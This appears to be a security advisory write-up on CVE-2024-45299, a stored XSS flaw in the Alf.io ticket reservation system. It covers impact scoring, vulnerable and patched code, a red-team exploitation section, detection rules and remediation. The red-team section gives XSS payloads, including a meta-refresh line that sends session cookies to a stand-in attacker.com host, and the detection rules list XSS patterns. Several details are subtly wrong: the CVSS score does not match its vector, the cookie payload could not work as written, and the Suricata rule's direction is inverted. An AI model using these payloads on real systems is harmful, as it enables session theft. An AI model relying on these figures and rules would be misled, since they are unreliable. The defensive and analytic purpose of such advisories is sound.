CVE-2024-45299

Executive Summary

CVE-2024-45299 is a stored Cross-Site Scripting (XSS) vulnerability in Alf.io, an open-source ticket reservation system. The flaw resides in the improper escaping of preloaded JSON data used for customization by administrators or event administrators. While the Content-Security-Policy (CSP) header blocks script execution in modern browsers, the vulnerability still allows for HTML injection and potential data exfiltration or phishing attacks if CSP is bypassed or misconfigured. The CVSS score is 6.5 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood. The vendor has released a fix in version 2.0-M5.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code flaw in the Alf.io Java application. The risk is limited to self-hosted instances where administrators or event administrators can inject malicious HTML/JavaScript into customization fields.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin/event admin access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Medium. Exploitation requires administrative privileges, but the impact is high due to potential for full system compromise via HTML injection or CSP bypass.

Deep Dive & Mechanics

The vulnerability exists in the preloaded JSON data handling within Alf.io. When an administrator or event administrator customizes text fields (e.g., event descriptions, confirmation messages), the input is not properly escaped before being stored and later rendered in the admin interface. This allows injection of arbitrary HTML or JavaScript.

Key Points:

• The CSP header (Content-Security-Policy) is set by default, which blocks inline script execution in modern browsers.
• However, CSP can be bypassed via techniques like:
  • Using <base> tag hijacking
  • Injecting <meta> refresh tags for phishing
  • Using <link> or <style> tags for data exfiltration
  • Exploiting CSP misconfigurations (e.g., unsafe-inline or unsafe-eval)
• The vulnerability is stored (persistent), meaning the injected payload is saved and executed each time the admin page is loaded.

Attack Scenario:

1. An attacker with admin/event admin privileges injects a malicious payload into a customization field (e.g., event description).
2. The payload is stored in the database without proper escaping.
3. When another admin or the same admin views the customization page, the payload executes.
4. The attacker can steal session cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.0-M5): The preloaded JSON data is not escaped. For example, in a Java controller:

// Vulnerable: directly embedding user input into JSON
String json = "{\"description\": \"" + userInput + "\"}";
model.addAttribute("preloadedData", json);

Patched Code (2.0-M5): The JSON is properly escaped using a library like StringEscapeUtils or JSONObject:

// Patched: escaping user input
JSONObject json = new JSONObject();
json.put("description", userInput);
model.addAttribute("preloadedData", json.toString());

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to Alf.io admin panel with admin/event admin privileges.
• Vulnerable version (< 2.0-M5).

Exploitation Steps:

1. Log in as an admin or event admin.
2. Navigate to a customization field (e.g., event description).
3. Inject a payload such as:

   <img src=x onerror="alert('XSS')">
   

   Or for CSP bypass:

   <meta http-equiv="refresh" content="0;url=https://attacker.com/steal?cookie="+document.cookie>
   

4. Save the changes.
5. When another admin views the page, the payload executes.

Note: No public exploit code is available for this CVE.

Blue Team

Detection:

• Monitor admin panel access logs for unusual input patterns (e.g., <script>, <img onerror).
• Use WAF rules to block HTML/JavaScript injection in customization fields.
• Review CSP headers to ensure they are strict and not bypassable.

Hunting:

• Search database for stored XSS payloads in customization fields.
• Check for unexpected HTTP requests to external domains from admin sessions.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown domains from Alf.io server.
  • Suspicious Referer headers pointing to admin pages.
• Host:
  • Unusual entries in Alf.io database customization table containing HTML/JavaScript.
  • Modified CSP headers (if attacker changed them).
• Logs:
  • Admin login events followed by unusual page loads.
  • Error logs showing CSP violations.

Detection Engineering

YARA Rule

rule CVE_2024_45299_Alfio_XSS {
    meta:
        description = "Detects stored XSS payloads in Alf.io customization data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45299"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]*onerror[^>]*>/is
        $xss3 = /<meta[^>]*http-equiv[^>]*>/is
        $xss4 = /onload\s*=/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS in Alf.io Customization Fields
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS payloads in Alf.io admin customization fields
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: alfio
detection:
    selection:
        event: admin_customization_save
        payload|contains:
            - '<script'
            - '<img'
            - '<meta'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML tags in descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-45299 - Stored XSS in Alf.io Customization";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/"; http_uri;
    content:"customization"; http_uri;
    pcre:"/(<script|<img|<meta|onerror|onload)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-45299;
)

Remediation & Mitigation

Immediate:

• Upgrade to Alf.io version 2.0-M5 or later.
• If upgrade is not possible, restrict admin access to trusted users only.
• Implement strict CSP headers (e.g., script-src 'self').

Long-term:

• Conduct code review for all user input handling.
• Use output encoding libraries (e.g., OWASP Java Encoder).
• Implement input validation for customization fields.

Workaround:

• Disable customization features for non-essential admins.
• Use a WAF to filter XSS payloads.

Valters IT